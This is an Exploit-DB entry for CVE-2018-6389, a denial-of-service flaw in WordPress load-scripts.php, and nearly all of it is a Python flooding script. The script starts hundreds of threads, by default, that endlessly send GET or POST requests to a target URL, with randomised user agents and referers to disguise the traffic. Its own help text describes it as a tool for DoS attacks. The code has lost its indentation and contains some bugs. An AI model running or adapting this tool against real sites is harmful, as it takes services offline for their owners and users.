WordPress Core - 'load-scripts.php' Denial of Service

EDB-ID: 43968
Author: Barak Tawily
Published: 2018-02-05
CVE: CVE-2018-6389
Type: Dos
Platform: PHP
Aliases: N/A
Advisory/Source: Link
Tags: WordPress Core
Vulnerable App: N/A

  

import requests
import sys
import threading
import random
import re
import argparse

host=''
headers_useragents=[]
request_counter=0
printedMsgs = []

def printMsg(msg):
if msg not in printedMsgs:
print "\n"+msg + " after %i requests" % request_counter
printedMsgs.append(msg)

def useragent_list():
global headers_useragents
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
return(headers_useragents)

def randomString(size):
out_str = ''
for i in range(0, size):
a = random.randint(65, 90)
out_str += chr(a)
return(out_str)

def initHeaders():
useragent_list()
global headers_useragents, additionalHeaders
headers = {
'User-Agent': random.choice(headers_useragents),
'Cache-Control': 'no-cache',
'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
'Referer': "http://www.google.com/?q=" + randomString(random.randint(5,10)),
'Keep-Alive': random.randint(110,120),
'Connection': 'keep-alive'
}

if additionalHeaders:
for header in additionalHeaders:
headers.update({header.split(":")[0]:header.split(":")[1]})
return headers

def handleStatusCodes(status_code):
global request_counter
sys.stdout.write("\rNumber of requests sent %i" % request_counter)
sys.stdout.flush()
if status_code == 429:
printMsg("You have been throttled")
if status_code == 500:
printedMsg("Status code 500 received")

def sendGET(url):
global request_counter
headers = initHeaders()
try:
request_counter+=1
request = requests.get(url, headers=headers)
handleStatusCodes(request.status_code)

except e:
pass

def sendPOST(url, payload):
global request_counter
headers = initHeaders()
try:
request_counter+=1
if payload:
request = requests.post(url, data=payload, headers=headers)
else:
request = requests.post(url, headers=headers)
handleStatusCodes(request.status_code)

except e:
pass

class SendGETThread(threading.Thread):
def run(self):
try:
while True:
global url
sendGET(url)
except:
pass

class SendPOSTThread(threading.Thread):
def run(self):
try:
while True:
global url, payload
sendPOST(url, payload)
except:
pass


# TODO:
# check if the site stop responding and alert

def main(argv):
parser = argparse.ArgumentParser(description='Sending unlimited amount of requests in order to perform DoS attacks. Written by Barak Tawily')
parser.add_argument('-g', help='Specify GET request. Usage: -g \'<url>\'')
parser.add_argument('-p', help='Specify POST request. Usage: -p \'<url>\'')
parser.add_argument('-d', help='Specify data payload for POST request', default=None)
parser.add_argument('-ah', help='Specify addtional header/s. Usage: -ah \'Content-type: application/json\' \'User-Agent: Doser\'', default=None, nargs='*')
parser.add_argument('-t', help='Specify number of threads to be used', default=500, type=int)
args = parser.parse_args()

global url, payload, additionalHeaders
additionalHeaders = args.ah
payload = args.d

if args.g:
url = args.g
for i in range(args.t):
t = SendGETThread()
t.start()

if args.p:
url = args.p
for i in range(args.t):
t = SendPOSTThread()
t.start()

if len(sys.argv)==1:
parser.print_help()
exit()

if __name__ == "__main__":
main(sys.argv[1:])

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